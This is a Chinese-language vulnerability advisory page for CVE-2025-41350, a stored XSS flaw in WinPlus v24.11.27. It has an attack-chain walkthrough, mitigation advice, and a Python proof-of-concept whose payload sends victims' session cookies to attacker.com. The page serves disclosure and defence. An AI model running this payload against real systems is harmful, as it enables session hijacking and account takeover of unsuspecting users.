IPBUF安全漏洞报告
English
CVE-2025-41350 CVSS 5.4 中危

CVE-2025-41350 WinPlus 存储型XSS漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-41350
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
WinPlus v24.11.27 (Informática del Este)

相关标签

CVE-2025-41350存储型XSSWinPlus会话劫持Informática del EsteWeb应用安全跨站脚本INCIBE

漏洞概述

CVE-2025-41350是WinPlus v24.11.27版本中发现的一个存储型跨站脚本(XSS)漏洞。该漏洞由西班牙国家网络安全研究院(INCIBE)协调披露,漏洞编号为CVE-2025-41350。攻击者可以利用该漏洞在WinPlus门户系统的'/WinplusPortal/ws/sWinplus.svc/json/savesoldoc_post'端点处,通过'descripcion'参数注入恶意脚本代码。由于系统缺乏对用户输入的充分验证和过滤,恶意代码会被永久存储在服务器端。当其他用户访问包含该恶意内容的页面时,攻击代码会在其浏览器中执行,从而窃取受害者的会话cookie、劫持用户会话或进行其他恶意操作。该漏洞需要攻击者具有低权限账户,并且需要诱导已认证用户与特制内容进行交互才能成功利用。CVSS 3.1评分5.4,属于中等严重程度。

技术细节

该存储型XSS漏洞存在于WinPlus v24.11.27的Web服务接口中。漏洞点位于'/WinplusPortal/ws/sWinplus.svc/json/savesoldoc_post'端点,具体参数为'descripcion'。攻击者通过发送带有恶意JavaScript代码的POST请求,将脚本内容注入到系统数据库中。由于应用程序在存储用户输入前未进行充分的输入验证和输出编码,恶意代码被直接保存。当系统其他功能模块(如文档查看、报表生成等)回显该数据时,浏览器会将存储的恶意代码作为合法脚本执行。攻击者利用此漏洞可窃取受害者的会话cookie,实现会话劫持,进而以受害者身份在系统中执行操作。由于是存储型XSS,攻击只需一次注入即可影响所有访问该内容的相关用户,危害范围较反射型XSS更广。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统使用WinPlus v24.11.27版本,发现'/WinplusPortal/ws/sWinplus.svc/json/savesoldoc_post'端点存在
STEP 2
步骤2: 账户获取
攻击者获取低权限用户账户(通过社工、弱口令或其他方式)
STEP 3
步骤3: 恶意载荷注入
攻击者构造包含XSS恶意代码的POST请求,通过'descripcion'参数将<script>标签注入到系统数据库
STEP 4
步骤4: 载荷持久化
由于缺乏输入验证,恶意脚本被永久存储在服务器端,等待其他用户访问
STEP 5
步骤5: 社会工程诱导
攻击者诱导已认证用户访问包含恶意内容的页面(如文档列表、报表等)
STEP 6
步骤6: 会话劫持
当受害者浏览器加载页面时,恶意脚本执行,窃取其会话cookie并发送到攻击者控制的服务器
STEP 7
步骤7: 账户接管
攻击者使用窃取的cookie劫持受害者会话,以其身份在系统中执行操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-41350 PoC - Stored XSS in WinPlus # Target: WinPlus v24.11.27 # Endpoint: /WinplusPortal/ws/sWinplus.svc/json/savesoldoc_post # Parameter: descripcion target_url = "http://target-server/WinplusPortal/ws/sWinplus.svc/json/savesoldoc_post" # Malicious XSS payload to steal session cookies xss_payload = "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" # Authentication headers (low privilege account required) headers = { 'Content-Type': 'application/json', 'Cookie': 'ASP.NET_SessionId=your_session_id_here', 'Authorization': 'Bearer your_token_here' } # PoC payload structure data = { 'descripcion': xss_payload, 'other_param': 'value' } try: response = requests.post(target_url, json=data, headers=headers, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Status code: {response.status_code}") if response.status_code == 200: print("[+] XSS payload injected successfully") print("[*] Wait for victim to access the stored content") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

影响范围

WinPlus v24.11.27

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 对'/WinplusPortal/ws/sWinplus.svc/json/savesoldoc_post'端点的输入参数实施严格的输入过滤,拒绝包含<script>、<img>、<iframe>等HTML标签的请求;2) 在相关输出页面部署WAF规则,对XSS特征进行阻断;3) 限制低权限用户访问敏感API端点;4) 监控异常请求模式,及时发现攻击行为;5) 加强用户安全意识培训,警惕钓鱼链接;6) 定期审计日志,排查是否存在已发生的XSS攻击痕迹。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表